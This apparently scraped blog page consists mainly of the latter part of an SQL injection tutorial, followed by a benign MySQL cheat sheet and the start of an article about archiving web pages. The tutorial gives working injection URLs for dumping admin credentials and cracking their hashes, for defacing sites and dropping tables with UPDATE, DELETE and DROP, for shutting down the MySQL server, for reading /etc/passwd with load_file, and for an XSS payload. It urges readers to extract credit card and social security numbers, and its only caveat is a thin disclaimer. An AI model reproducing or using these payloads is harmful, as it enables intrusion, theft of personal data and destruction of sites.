style="text-align: justify;">Similarly, to get the column list, we would make our query as:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.</div><div class="MsoNormal" style="text-align: justify;">Alternatively to find the column in the specific table, u can do something like below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">This would display the columns present in the table tbluser. But this may not work always.</div><div class="MsoNormal" style="text-align: justify;">Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.</div><div class="MsoNormal" style="text-align: justify;">There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)</div><div class="MsoNormal" style="text-align: justify;">What I do is:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">And this gives me the username and password like below:</div><div class="MsoNormal" style="text-align: justify;">admin:9F14974D57DE204E37C11AEAC3EE4940</div><div class="MsoNormal" style="text-align: justify;">Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(http://www.openwalls.org), Cain & Able(http://www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.</div><div class="MsoNormal" style="text-align: justify;">Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: red;">Sub-section 6:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;"><span style="color: #00b050;">MySQL version 4 injection:</span></div><div class="MsoNormal" style="text-align: justify;">Now say ur slave has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...</div><div class="MsoNormal" style="text-align: justify;">Anyway, lets go for MySQL version 4 injection...</div><div class="MsoNormal" style="text-align: justify;">For example, u would do as below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.</div><div class="MsoNormal" style="text-align: justify;">When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">The page loaded normally. Now again u have to guess the column names present in the tbluser table.</div><div class="MsoNormal" style="text-align: justify;">I do something like below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//this gave me error so there is no column with this name.</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//It loaded the page normally along with the username from the table.</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//it errored so again the column pass doesnot exist in the table tbluser.</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//the page loaded normally with password hash(or plaintext password).</div><div class="MsoNormal" style="text-align: justify;">Now u may do this:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">This gave me:</div><div class="MsoNormal" style="text-align: justify;">admin:9F14974D57DE204E37C11AEAC3EE4940</div><div class="MsoNormal" style="text-align: justify;">On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.</div><div class="MsoNormal" style="text-align: justify;">Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: red;">MODIFYING SITE CONTENT:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;">Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.</div><div class="MsoNormal" style="text-align: justify;">Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.</div><div class="MsoNormal" style="text-align: justify;">First let me list these commands:</div><div class="MsoNormal" style="text-align: justify;">UPDATE: It is used to edit infos already in the db without deleting any rows.</div><div class="MsoNormal" style="text-align: justify;">DELETE: It is used to delete the contents of one or more fields.</div><div class="MsoNormal" style="text-align: justify;">DROP: It is used completely delete a table & all its associated data.</div><div class="MsoNormal" style="text-align: justify;">Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.</div><div class="MsoNormal" style="text-align: justify;">Command Usage:</div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: #00b050;">UPDATE:</span></u></i></b> Our vulnerable page is:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Lets say the query is:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">SELECT title,data,author FROM article WHERE id=5</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.</div><div class="MsoNormal" style="text-align: justify;">So we would do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='Hacked By Hardeep'/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">or, u could alternatively do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY Hardeep',data='Ur site has zero security',author='Hardeep'/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">By executing first query, we have set the title value as 'Hacked By Hardeep' in the table article while in second query, we have updated all three fields title, data, & author in the table article.</div><div class="MsoNormal" style="text-align: justify;">Sometimes, u may want to change the specific page with id=5. For this u will do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5</span></i></b><span style="color: #00b0f0;">/*</span></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: #00b050;">DELETE:</span></u></i></b> As already stated, this deletes the content of one or more fields permanently from the db server.</div><div class="MsoNormal" style="text-align: justify;">The syntax is:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">or if u want to delete these fields from the id=5, u will do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: #00b050;">DROP</span></u></i></b>:This is another deadly command u can use. With this, u can delete a table & all its associated data.</div><div class="MsoNormal" style="text-align: justify;">For this, we make our URL as:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DROP TABLE article/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">This would delete table article & all its contents.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">Finally, I want to say little about ;</div><div class="MsoNormal" style="text-align: justify;">Though I have not used this in my tutorial, u can use it to end ur first query and start another one.</div><div class="MsoNormal" style="text-align: justify;">This ; can be kept at the end of our first query so that we can start new query after it.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: #00b050;">SHUTTING DOWN MySQL SERVER:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;">This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;</div><div class="MsoNormal" style="text-align: justify;">So, you would craft a query which would execute the above command...</div><div class="MsoNormal" style="text-align: justify;">For example, in my case, I would do the following:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;</span></i></b></div><div class="MsoNormal" style="text-align: justify;">WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b050;">LOADFILE:</span></i></b></div><div class="MsoNormal" style="text-align: justify;">MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..</div><div class="MsoNormal" style="text-align: justify;">Do something like below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">But sometimes, you will have to hex the part & do something like below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)</span></i></b></div><div class="MsoNormal" style="text-align: justify;">where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: #00b050;">MySQL ROOT:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;">If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..</div><div class="MsoNormal" style="text-align: justify;">For this, you will do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But http://www.insidepro.com has one to do it..</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: red;">INALIZING THE INJECTION TUTORIAL:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;">I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..</div><div class="MsoNormal" style="text-align: justify;">Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..</div><div class="MsoNormal" style="text-align: justify;">In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...</div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: red;">MAJOR MySQL COMMANDS:</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..</div><div class="MsoNormal" style="text-align: justify;">All the commands here are copy pasted from the post at http://www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..</div><div class="MsoNormal" style="text-align: justify;">ABORT -- abort the current transaction</div><div class="MsoNormal" style="text-align: justify;">ALTER DATABASE -- change a database</div><div class="MsoNormal" style="text-align: justify;">ALTER GROUP -- add users to a group or remove users from a group</div><div class="MsoNormal" style="text-align: justify;">ALTER TABLE -- change the definition of a table</div><div class="MsoNormal" style="text-align: justify;">ALTER TRIGGER -- change the definition of a trigger</div><div class="MsoNormal" style="text-align: justify;">ALTER USER -- change a database user account</div><div class="MsoNormal" style="text-align: justify;">ANALYZE -- collect statistics about a database</div><div class="MsoNormal" style="text-align: justify;">BEGIN -- start a transaction block</div><div class="MsoNormal" style="text-align: justify;">CHECKPOINT -- force a transaction log checkpoint</div><div class="MsoNormal" style="text-align: justify;">CLOSE -- close a cursor</div><div class="MsoNormal" style="text-align: justify;">CLUSTER -- cluster a table according to an index</div><div class="MsoNormal" style="text-align: justify;">COMMENT -- define or change the comment of an object</div><div class="MsoNormal" style="text-align: justify;">COMMIT -- commit the current transaction</div><div class="MsoNormal" style="text-align: justify;">COPY -- copy data between files and tables</div><div class="MsoNormal" style="text-align: justify;">CREATE AGGREGATE -- define a new aggregate function</div><div class="MsoNormal" style="text-align: justify;">CREATE CAST -- define a user-defined cast</div><div class="MsoNormal" style="text-align: justify;">CREATE CONSTRAINT TRIGGER -- define a new constraint trigger</div><div class="MsoNormal" style="text-align: justify;">CREATE CONVERSION -- define a user-defined conversion</div><div class="MsoNormal" style="text-align: justify;">CREATE DATABASE -- create a new database</div><div class="MsoNormal" style="text-align: justify;">CREATE DOMAIN -- define a new domain</div><div class="MsoNormal" style="text-align: justify;">CREATE FUNCTION -- define a new function</div><div class="MsoNormal" style="text-align: justify;">CREATE GROUP -- define a new user group</div><div class="MsoNormal" style="text-align: justify;">CREATE INDEX -- define a new index</div><div class="MsoNormal" style="text-align: justify;">CREATE LANGUAGE -- define a new procedural language</div><div class="MsoNormal" style="text-align: justify;">CREATE OPERATOR -- define a new operator</div><div class="MsoNormal" style="text-align: justify;">CREATE OPERATOR CLASS -- define a new operator class for indexes</div><div class="MsoNormal" style="text-align: justify;">CREATE RULE -- define a new rewrite rule</div><div class="MsoNormal" style="text-align: justify;">CREATE SCHEMA -- define a new schema</div><div class="MsoNormal" style="text-align: justify;">CREATE SEQUENCE -- define a new sequence generator</div><div class="MsoNormal" style="text-align: justify;">CREATE TABLE -- define a new table</div><div class="MsoNormal" style="text-align: justify;">CREATE TABLE AS -- create a new table from the results of a query</div><div class="MsoNormal" style="text-align: justify;">CREATE TRIGGER -- define a new trigger</div><div class="MsoNormal" style="text-align: justify;">CREATE TYPE -- define a new data type</div><div class="MsoNormal" style="text-align: justify;">CREATE USER -- define a new database user account</div><div class="MsoNormal" style="text-align: justify;">CREATE VIEW -- define a new view</div><div class="MsoNormal" style="text-align: justify;">DEALLOCATE -- remove a prepared query</div><div class="MsoNormal" style="text-align: justify;">DECLARE -- define a cursor</div><div class="MsoNormal" style="text-align: justify;">DELETE -- delete rows of a table</div><div class="MsoNormal" style="text-align: justify;">DROP AGGREGATE -- remove a user-defined aggregate function</div><div class="MsoNormal" style="text-align: justify;">DROP CAST -- remove a user-defined cast</div><div class="MsoNormal" style="text-align: justify;">DROP CONVERSION -- remove a user-defined conversion</div><div class="MsoNormal" style="text-align: justify;">DROP DATABASE -- remove a database</div><div class="MsoNormal" style="text-align: justify;">DROP DOMAIN -- remove a user-defined domain</div><div class="MsoNormal" style="text-align: justify;">DROP FUNCTION -- remove a user-defined function</div><div class="MsoNormal" style="text-align: justify;">DROP GROUP -- remove a user group</div><div class="MsoNormal" style="text-align: justify;">DROP INDEX -- remove an index</div><div class="MsoNormal" style="text-align: justify;">DROP LANGUAGE -- remove a user-defined procedural language</div><div class="MsoNormal" style="text-align: justify;">DROP OPERATOR -- remove a user-defined operator</div><div class="MsoNormal" style="text-align: justify;">DROP OPERATOR CLASS -- remove a user-defined operator class</div><div class="MsoNormal" style="text-align: justify;">DROP RULE -- remove a rewrite rule</div><div class="MsoNormal" style="text-align: justify;">DROP SCHEMA -- remove a schema</div><div class="MsoNormal" style="text-align: justify;">DROP SEQUENCE -- remove a sequence</div><div class="MsoNormal" style="text-align: justify;">DROP TABLE -- remove a table</div><div class="MsoNormal" style="text-align: justify;">DROP TRIGGER -- remove a trigger</div><div class="MsoNormal" style="text-align: justify;">DROP TYPE -- remove a user-defined data type</div><div class="MsoNormal" style="text-align: justify;">DROP USER -- remove a database user account</div><div class="MsoNormal" style="text-align: justify;">DROP VIEW -- remove a view</div><div class="MsoNormal" style="text-align: justify;">END -- commit the current transaction</div><div class="MsoNormal" style="text-align: justify;">EXECUTE -- execute a prepared query</div><div class="MsoNormal" style="text-align: justify;">EXPLAIN -- show the execution plan of a statement</div><div class="MsoNormal" style="text-align: justify;">FETCH -- retrieve rows from a table using a cursor</div><div class="MsoNormal" style="text-align: justify;">GRANT -- define access privileges</div><div class="MsoNormal" style="text-align: justify;">INSERT -- create new rows in a table</div><div class="MsoNormal" style="text-align: justify;">LISTEN -- listen for a notification</div><div class="MsoNormal" style="text-align: justify;">LOAD -- load or reload a shared library file</div><div class="MsoNormal" style="text-align: justify;">LOCK -- explicitly lock a table</div><div class="MsoNormal" style="text-align: justify;">MOVE -- position a cursor on a specified row of a table</div><div class="MsoNormal" style="text-align: justify;">NOTIFY -- generate a notification</div><div class="MsoNormal" style="text-align: justify;">PREPARE -- create a prepared query</div><div class="MsoNormal" style="text-align: justify;">REINDEX -- rebuild corrupted indexes</div><div class="MsoNormal" style="text-align: justify;">RESET -- restore the value of a run-time parameter to a default value</div><div class="MsoNormal" style="text-align: justify;">REVOKE -- remove access privileges</div><div class="MsoNormal" style="text-align: justify;">ROLLBACK -- abort the current transaction</div><div class="MsoNormal" style="text-align: justify;">SELECT -- retrieve rows from a table or view</div><div class="MsoNormal" style="text-align: justify;">SELECT INTO -- create a new table from the results of a query</div><div class="MsoNormal" style="text-align: justify;">SET -- change a run-time parameter</div><div class="MsoNormal" style="text-align: justify;">SET CONSTRAINTS -- set the constraint mode of the current transaction</div><div class="MsoNormal" style="text-align: justify;">SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session</div><div class="MsoNormal" style="text-align: justify;">SET TRANSACTION -- set the characteristics of the current transaction</div><div class="MsoNormal" style="text-align: justify;">SHOW -- show the value of a run-time parameter</div><div class="MsoNormal" style="text-align: justify;">START TRANSACTION -- start a transaction block</div><div class="MsoNormal" style="text-align: justify;">TRUNCATE -- empty a table</div><div class="MsoNormal" style="text-align: justify;">UNLISTEN -- stop listening for a notification</div><div class="MsoNormal" style="text-align: justify;">UPDATE -- update rows of a table</div><div class="MsoNormal" style="text-align: justify;">VACUUM -- garbage-collect and optionally analyze a database</div><div class="MsoNormal" style="text-align: justify;"><i><u><span style="color: red;">Disclaimer</span></u></i></div><div class="MsoNormal" style="text-align: justify;">This tutorial is for educational purpose only. The Author does not have any responsibility if the content in this tutorial is misused.     <b><i><u><span style="color: #e36c0a;">"ILLEGAL USAGE OF THESE KNOWLEDGE MAY LEAD TO SERIOUS RESULTS"</span></u></i></b></div></div>

SQL Injection Complete

MySQL injection tutorial (Complete) by Hardeep Singh TABLE OF CONTENT: #INTRO #WHAT IS DATABASE? #WHAT IS ...

Read more »

My SQL Cheat Sheet

<div dir="ltr" style="text-align: left;" trbidi="on"><pre><b>Selecting a database:</b><br /></pre><blockquote>mysql> USE database;</blockquote><pre><b>Listing databases:</b><br /></pre><blockquote>mysql> SHOW DATABASES;</blockquote><pre><b>Listing tables in a db:</b><a name="more"></a><br /></pre><blockquote>mysql> SHOW TABLES;</blockquote><pre><b>Describing the format of a table:</b><br /></pre><blockquote>mysql> DESCRIBE table;</blockquote><pre><b>Creating a database:</b><br /></pre><blockquote>mysql> CREATE DATABASE db_name;</blockquote><pre><b>Creating a table:</b><br /></pre><blockquote>mysql> CREATE TABLE table_name (field1_name TYPE(SIZE), field2_name TYPE(SIZE));</blockquote><pre>Ex: mysql> CREATE TABLE pet (name VARCHAR(20), sex CHAR(1), birth DATE);<br /><br /><b>Load tab-delimited data into a table:</b><br /></pre><blockquote>mysql> LOAD DATA LOCAL INFILE "infile.txt" INTO TABLE table_name;<br />(Use \n for NULL)</blockquote><pre><b>Inserting one row at a time:</b><br /></pre><blockquote>mysql> INSERT INTO table_name VALUES ('MyName', 'MyOwner', '2002-08-31');</blockquote><pre>(Use NULL for NULL)<br /><br /><b>Retrieving information (general):</b><br /></pre><blockquote>mysql> SELECT from_columns FROM table WHERE conditions;</blockquote><pre>All values: <span style="color: red;">SELECT * FROM table;</span><br />Some values: <span style="color: red;">SELECT * FROM table WHERE rec_name = "value";</span><br />Multiple critera: <span style="color: red;">SELECT * FROM TABLE WHERE rec1 = "value1" AND rec2 = "value2";</span><br /><br /><b>Reloading a new data set into existing table:</b><br /></pre><blockquote>mysql> SET AUTOCOMMIT=1; # used for quick recreation of table<br />mysql> DELETE FROM pet;<br />mysql> LOAD DATA LOCAL INFILE "infile.txt" INTO TABLE table;</blockquote><pre><b>Fixing all records with a certain value:</b><br /></pre><blockquote>mysql> UPDATE table SET column_name = "new_value" WHERE record_name = "value";</blockquote><pre><b>Selecting specific columns:</b><br /></pre><blockquote>mysql> SELECT column_name FROM table;</blockquote><pre><b>Retrieving unique output records:</b><br /></pre><blockquote>mysql> SELECT DISTINCT column_name FROM table;</blockquote><pre><b>Sorting:</b><br /></pre><blockquote>mysql> SELECT col1, col2 FROM table ORDER BY col2;</blockquote><pre>Backwards: <span style="color: red;">SELECT col1, col2 FROM table ORDER BY col2 DESC;</span><br /><br /><b>Date calculations:</b><br /></pre><blockquote>mysql> SELECT CURRENT_DATE, (YEAR(CURRENT_DATE)-YEAR(date_col)) AS time_diff [FROM table];</blockquote><pre>MONTH(some_date) extracts the month value and DAYOFMONTH() extracts day.<br /><br /><b>Pattern Matching:</b><br /></pre><blockquote>mysql> SELECT * FROM table WHERE rec LIKE "blah%";</blockquote><pre>(% is wildcard - arbitrary # of chars)<br />Find 5-char values: SELECT * FROM table WHERE rec like "_____";<br />(_ is any single character)<br /><br /><b>Extended Regular Expression Matching:</b><br /></pre><blockquote>mysql> SELECT * FROM table WHERE rec RLIKE "^b$";</blockquote><pre>(. for char, [...] for char class, * for 0 or more instances<br />^ for beginning, {n} for repeat n times, and $ for end)<br />(RLIKE or REGEXP)<br />To force case-sensitivity, use "REGEXP BINARY"<br /><br /><b>Counting Rows:</b><br /></pre><blockquote>mysql> SELECT COUNT(*) FROM table;</blockquote><pre><b>Grouping with Counting:</b><br /></pre><blockquote>mysql> SELECT owner, COUNT(*) FROM table GROUP BY owner;</blockquote><pre>(GROUP BY groups together all records for each 'owner')<br /><br /><b>Selecting from multiple tables:</b><br /><br />(Example)</pre><blockquote>mysql> SELECT pet.name, comment FROM pet, event WHERE pet.name = event.name;</blockquote><pre>(You can join a table to itself to compare by using 'AS')<br /><br /><b>Currently selected database:</b><br /></pre><blockquote>mysql> SELECT DATABASE();</blockquote><pre><b>Maximum value:</b><br /></pre><blockquote>mysql> SELECT MAX(col_name) AS label FROM table;</blockquote><pre><b>Auto-incrementing rows:</b><br /></pre><blockquote>mysql> CREATE TABLE table (number INT NOT NULL AUTO_INCREMENT, name CHAR(10) NOT NULL);<br />mysql> INSERT INTO table (name) VALUES ("tom"),("dick"),("harry");</blockquote><pre><b>Adding a column to an already-created table:</b><br /></pre><blockquote>mysql> ALTER TABLE tbl ADD COLUMN [column_create syntax] AFTER col_name;</blockquote><pre><b>Removing a column:</b><br /></pre><blockquote>mysql> ALTER TABLE tbl DROP COLUMN col;</blockquote><pre>(Full <a href="http://www.mysql.com/doc/en/ALTER_TABLE.html">ALTER TABLE</a> syntax available at mysql.com.)<br /><br /><b>Batch mode (feeding in a script):</b><br /></pre><blockquote># mysql -u user -p < batch_file</blockquote><pre>(Use -t for nice table layout and -vvv for command echoing.)<br />Alternatively: mysql> source batch_file;<br /><br /><b>Backing up a database with mysqldump:</b><br /></pre><blockquote># mysqldump --opt -u username -p database > database_backup.sql</blockquote><pre>(Use 'mysqldump --opt --all-databases > all_backup.sql' to backup everything.)</pre></div>

My SQL Cheat Sheet

Selecting a database: mysql> USE database; Listing databases: mysql> SHOW DATABASES; Listing tables in a db: mysql> SHOW TABLES; De...

Read more »

Your Personal Internet Archiving Machine

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #333333; font-family: Verdana,Geneva,sans-serif; font-size: 12px; line-height: 18px;"><h1 style="border-width: 0px; color: #282828; font-family: Georgia,serif; font-size: 26px; font-style: inherit; letter-spacing: -1px; line-height: 31px; margin: 0px; outline-width: 0px; padding: 0px;">Build Your Own Internet Archives With Bo.lt</h1><div class="post" id="article" style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;"><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">Web pages change, or may even disappear, with time and thus the only way to preserve a page forever is that you manually download a copy of that whole page to your computer. There are multiple ways to archive web pages so lets quickly recap the popular options.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">If you are trying to save a page that is mostly text, services like InstaPaper or Read It Later are pretty good. Mobile users may <a href="http://www.labnol.org/internet/email-webpages/19812/" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">email the page</a> URL to <a href="mailto:mypdf@joliprint.com">mypdf@joliprint.com</a> and get it back as a PDF file. Desktop browsers offer a "Save Web Page" feature to help you download the complete page including images. Then there are extensions, Scrapbook for example, that can also save whole web pages for <a href="http://www.labnol.org/internet/save-webpages-for-offline-reading/6352/" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; text-decoration: none;">offline reading</a>.</div><h2 style="border-style: none; color: #282828; display: block; font-family: Georgia,'Times New Roman',Times,serif; font-size: 18px; font-style: inherit; margin: 0px 20px 8px 0px; outline-width: 0px; padding: 0px 0px 5px;">The Problem with Web Archiving Tools</h2><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">The above options seem to work well but the only problem is that they aren't always good at saving exact copies of a web page. They do download the images, JavaScript and CSS files associated with a page but try re-opening that saved page in your favorite browser and you'll know the difference.</div><div style="border-width: 0px; color: #333333; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px 0px 20px; outline-width: 0px; padding: 0px;">If you are therefore looking for a better tool to archive web pages, one that saves everything and doesn't mess with the formatting, check out <a href="http://bo.lt/" style="border-width: 0px; color: #000099; font-family: inherit; font-size: 12px; font-style: inherit; margin: 0px; outline-width: 0px; padding: 0px; 